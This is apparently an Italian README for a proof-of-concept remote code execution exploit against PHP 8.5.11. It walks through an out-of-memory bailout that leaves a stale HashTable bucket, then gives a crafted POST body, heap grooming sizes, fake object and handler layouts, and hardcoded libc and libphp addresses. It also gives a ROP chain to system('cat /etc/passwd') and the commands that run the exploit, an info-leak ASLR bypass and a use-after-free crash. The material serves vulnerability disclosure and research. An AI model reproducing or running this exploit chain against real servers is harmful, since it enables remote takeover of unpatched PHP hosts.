
🤖 No, c'è un modo semplice per sfruttare questa vulnerabilità! (vibecoded per dimostrare un punto)
Un PoC riproducibile e indipendente dall'applicazione per l'esecuzione di codice in remoto contro PHP 8.5.11 (gli avvisi di ottobre 2026). Trasforma i due avvisi del 2026 sulla corruzione della memoria di PHP in system("cat /etc/passwd") senza alcun codice applicativo — l'index.php della vittima si limita a restituire ok.
longjmp abbandona una HashTable costruita a metà, lasciando un bucket pendente che lo shutdown distrugge. Questa è la primitiva RCE.Tutto è completamente riproducibile in container Podman. Il risultato end-to-end confermato è ./exploits/cve-2026-109618-oom/rce.py che legge /etc/passwd.
Quando PHP esaurisce la memoria chiama zend_mm_safe_error() → zend_error_noreturn() → zend_bailout() (longjmp). In 8.5.11 l'inserimento nella hash-table non è soggetto a fallimento di allocazione, quindi un OOM può fare unwind con una HashTable modificata a metà.
Il sito di corruzione è add_to_hash di _zend_hash_str_add_or_update_i() (Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
Se la copia della chiave zend_string_init va in OOM, il bucket p rimane non scritto
(key/h/val tutti obsoleti) ma nNumUsed è già stato incrementato. Allo
shutdown della richiesta zend_array_destroy() scorre i bucket nNumUsed e chiama
i_zval_ptr_dtor(&p->val) sul val spazzatura del bucket non scritto — un
valore modellato dall'attaccante. La correzione della 8.5.12 sostituisce ogni
tale allocazione con varianti fallibili (femalloc/fperealloc2 + HASH_FALLIBLE) così
l'inserimento ritorna in modo pulito invece di interrompersi.
L'exploit consiste interamente nel far sì che un blocco controllato di 2560 byte diventi
l'arData della HashTable il cui ultimo bucket è il bucket OOM. I valori
che dovevano essere bilanciati, e il perché:
| Tipo / variabile | Dimensione | Ruolo |
|---|---|---|
header di zend_array (HashTable) | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); quello non scritto è il nostro obiettivo |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — impostiamo type_info |
zend_string | header di 24 B + dati | il valore di padding; la sua lunghezza determina il bin dell'allocatore |
zend_object | 56 B | oggetto falso: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj è il gadget pivot |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (bin 28 = 2560 B) |
I due fatti sull'allocatore su cui si basa l'intero feng-shui:
HT_SIZE_EX(64) = 64*32 bucket + 128*4 hash = 2560), perché
HT_SIZE_TO_MASK(n) = -(2n).b150 (percorso) e b0e0 (scartato) sono due copie di $_POST["a"]
create dal percorso SEPARATE_ARRAY/indiretto della symtable; ogni
campo a[<large>][c]=v inserisce la chiave <large> in entrambe, e b0e0 è
sempre avanti di 1 chiave. Solo b150 viene distrutto da php_request_shutdown, quindi
l'OOM deve verificarsi su b150.rce.py)Il corpo della richiesta è un POST urlencoded:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) consuma appena la memoria necessaria affinché l'OOM scatti al
primo inserimento del campo OOM, cioè in b150 (la tabella percorsa), non
nella b0e0 scartata.pad=<2528 B>: add_post_var esegue estrndup(A) poi
ZVAL_STRINGL_FAST(B, copy). Misurato B = padlen + 32, quindi padlen=2528
dà A = 2529 e B = 2560 — entrambi bin 28. A viene liberato dal
percorso estrndup.pad=x (chiave duplicata) esegue il DTOR della copia mantenuta B, liberando un secondo,
distinto slot bin-28. Ora il resize 32→64 di b150 riutilizza B — i nostri byte
controllati diventano l'arData di b150.zend_hash_rehash.IS_OBJECT con value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt"); una successiva
GET /leak.txt restituisce il file.Due requisiti sottili che sono costati tempo reale di debug (entrambi in rce.py):
__libc_system usa movaps (allineato a 16 byte), quindi viene
inserito un gadget ret extra tra pop rdi; ret e system — altrimenti si verifica un SIGSEGV
dentro __libc_system prima di execve.setarch -R)Misurati su php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Le
basi di libphp/libc sono le stesse in tutta la build base; l'offset dell'heap B cambia
con le librerie installate (l'installazione di gdb l'ha spostato), quindi rimisura B per un'immagine
diversa, oppure risolvilo tramite l'info-leak per ASLR-on.
| Simbolo | Indirizzo |
|---|---|
| base libphp | 0x7ffff4400000 |
| base libc | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
main chunk ([anon:zend_alloc]) | 0x7ffff7200000 |
B (blocco grezzo arData = b150->arData - 512) | 0x7ffff725e400 |
| fake handlers | B + 24 + 2000 = 0x7ffff725ebe8 |
| fake object | B + 24 + 2048 = 0x7ffff725ec18 |
stringa cmd | B + 24 + 2200 = 0x7ffff725ecb0 |
La catena ROP (relativa all'oggetto fake, o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Richiede Podman. Dalla radice del repository:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
Atteso output:
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…
# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf
# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak
# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh